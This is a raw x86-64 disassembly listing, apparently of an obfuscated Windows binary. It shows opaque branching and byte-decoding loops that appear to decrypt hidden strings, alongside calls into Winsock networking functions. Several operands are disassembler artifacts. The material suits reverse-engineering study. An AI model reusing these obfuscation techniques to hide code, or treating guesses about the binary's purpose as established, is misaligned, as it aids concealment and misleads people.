cmp rbx, rax
jne 0x140047244
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140046b53
cmp rbx, rcx
jne 0x140047264
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140047356
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140046f69
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400473c6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400472c6
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400472ef
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400474b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047317
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004748c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140046f28
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140047353
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
add dil, r10b
sub r9b, 0x1c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x3c
add r10b, dil
add r10b, r9b
mov byte [rsp + r11 + 0x30], r10b
jmp 0x1400473c3
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x18]
jmp 0x14004748c
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14004748c
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140046b53
lea edx, [r9 + 0x1c]
mov ecx, 0x1e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rsp + r11 + 0x30], cl
inc r8
dec r11
inc r11
jmp 0x140046b53
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140046b53
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140046b53
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 4
movzx r9d, r11b
add r9b, 0x6c
movzx eax, r10b
and al, r9b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rsp + r11 + 0x30], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rsp + r11 + 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b53
lea rax, [r11 + r15]
and sil, al
mov ecx, gethostname
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b53
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
jmp 0x140046b50
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140046b40
lea rdx, [rbp + 0x15168e0]
jmp 0x140047578
lea rdx, [rbp + 0x97d624]
jmp 0x140047578
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400475a0
lea rcx, [rbp + 0x128]
call fcn.140041ee0
lea r13, [rbp + 0x128]
mov dword [rbp + 0x50], 0x70a0a08
mov word [rbp + 0x54], 0x1c15
mov byte [rbp + 0x56], 0x46
xor eax, eax
mov qword [rbp + 0x57], rax
mov dword [rbp + 0x5f], eax
mov byte [rbp + 0x63], al
movabs r14, 0x4f333f235fb82d4c
movabs r12, 0x2a66b9f79e093d14
movabs r15, 0xed99bd6a1f2887e4
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x14
jae 0x140048164
movzx r10d, byte [rbp + r11 + 0x50]
mov esi, r10d
cmp rbx, r11
ja 0x14004815b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140047652
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x14
jmp 0x14004768c
je 0x1400480ef
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004806a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140048034
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048013
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140047fcf
movzx r9d, r11b
cmp r8, r11
ja 0x140048152
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x1400476be
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047700
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140047fb3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047f8a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140047f67
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140047f47
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140047f1b
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140047c72
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140047c53
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140047c2a
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140047c04
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140047be9
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140047bcc
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140047baf
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140047b90
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140047b70
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140047b41
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140047710
lea rbx, [r8 + 0x80]
lea r8, [rbx + 4]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140048135
lea rcx, [r8 + 2]
cmp rbx, rcx
jb 0x140048118
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140047901
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400478e2
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400478c3
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140047af1
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140047aac
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140047a6d
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140047a48
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140047710
mov rbx, rcx
lea r8, [rcx + 0x64]
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140047a19
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x1400479fc
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x1400479e1
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x1400479c4
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x1400479a7
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14004798b
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140047965
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14004793c
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140047921
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140047710
lea rbx, [r8 + 4]
lea r8, [rbx + 0x200]
jmp 0x140047710
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047700
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047690
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140047626
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140047fe9
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140047613
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140047613
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140047edc
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14004804e
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x140048051
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140048086
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x1400480b0
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x140047613
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
cmp r8, 0x3e8
jb 0x140047a60
lea ecx, [r9 + 0x48]
movzx eax, cl
and al, r10b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140047fe9
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
cmp rbx, 8
jae 0x140047ec6
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x140047df3
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140047a83
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
lea rax, [r8 + rbx]
cmp rax, 5
je 0x140047f05
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x140047d1f
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047ac2
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400480b0
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048086
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140048051
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x14004804e
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140047edf
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140047613
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140047613
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047fe9
lea rcx, [r8 + 4]
cmp rbx, rcx
jae 0x140047c96
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x140047b07
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047ccb
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
cmp rbx, rcx
jne 0x140047cf3
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
dec r11
inc r11
jmp 0x140047613
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047b07
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047fe9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047d47
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047fe9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047d6b
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x140047edf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140047d94
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140048051
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047dba
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
jmp 0x1400480b0
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140047ac2
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047e2b
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047e53
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048086
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047e79
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140048051
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140047e9a
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140047edf
cmp rbx, rcx
jne 0x140047a83
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
dec r11
inc r11
jmp 0x140047613
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
add dil, r10b
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x34
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x50], cl
jmp 0x14004804e
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x48]
jmp 0x140048086
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140048051
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
dec r11
inc r11
jmp 0x140047613
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140047613
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047fe9
movzx r9d, r11b
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
sub r9b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, r9b
mov byte [rbp + r11 + 0x50], r10b
inc r8
dec r11
inc r11
jmp 0x140047613
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
dec r11
inc r11
jmp 0x140047613
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140047613
lea rcx, [r11 + r12]
and sil, cl
mov eax, 0x3a
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x5c
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x70
add r10b, cl
mov byte [rbp + r11 + 0x50], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x3c
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140047613
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140047610
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x140047600
lea rdx, [rbp + 0x17e6f60]
jmp 0x140048168
lea rdx, [rbp + 0xb69cac]
jmp 0x140048168
lea rdx, [rbp + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xor r12d, r12d
mov qword [rbp + 0x158], r12
mov qword [rbp + 0x160], r12
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140048190
lea rcx, [rbp + 0x148]
call fcn.140041ee0
nop
mov rdx, r13
lea rcx, [rbp + 0x148]
call fcn.140045bb0
lea rax, [rbp + 0x168]
mov qword [rbp + 0xe0], rax
mov dword [rbp - 0x40], 0xdcc1dea4
mov dword [rbp - 0x3c], 0xc084d5d5
mov word [rbp - 0x38], 0xc2cd
mov byte [rbp - 0x36], 0x7a
xor eax, eax
mov dword [rbp - 0x35], eax
mov word [rbp - 0x31], ax
mov byte [rbp - 0x2f], al
movabs rsi, 0xa78f41b58b34fe0e
movabs r15, 0x94eacbf6ce72f262
movabs r14, 0xf6adc520a19efa2a
movzx edi, byte [rsp + 0x20]
nop word [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
mov r11, r12
cmp r11, 0x12
jae 0x140048cf7
movzx r10d, byte [rbp + r11 - 0x40]
mov edx, r10d
cmp rbx, r11
ja 0x140048cee
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140048262
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x62
jmp 0x14004829c
je 0x140048c81
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048bfd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140048ba2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140048b7d
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140048b39
movzx r9d, r11b
cmp r8, r11
ja 0x140048ce5
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x1400482cd
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x140048310
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048b1d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048b02
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048ae2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140048ac7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140048aaa
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x1400488a1
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140048882
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140048859
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140048833
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048814
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400487f7
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400487d7
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400487b8
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140048798
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004876c
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140048320
lea rbx, [r8 + 9]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140048cc8
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140048ca8
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140048510
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400484f5
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400484da
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140048718
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400486c8
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140048687
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140048662
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140048320
lea rbx, [r8 + 4]
lea r8, [rbx + 9]
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140048636
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140048616
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400485f7
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400485da
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400485bd
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004859e
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140048578
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14004854f
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140048530
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140048320
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x1000]
jmp 0x140048320
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140048310
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x1400482a0
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140048236
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
add dil, dl
jmp 0x140048b53
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140048223
sub r9b, 8
movzx eax, r10b
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140048223
lea edx, [r9 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x140048bc0
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
jmp 0x140048be1
sub r9b, 0x5c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7c
jmp 0x140048be4
lea edx, [r9 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140048c17
add r9b, 0x6c
movzx eax, r10b
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048c42
add r9b, 0x50
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x30
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140048223
add r9b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
mov byte [rbp + r11 - 0x40], dil
inc r11
jmp 0x140048223
lea edx, [r9 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x64
jb 0x14004867a
lea edx, [r9 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x18]
jmp 0x140048b53
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x400
jae 0x140048a70
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14004899a
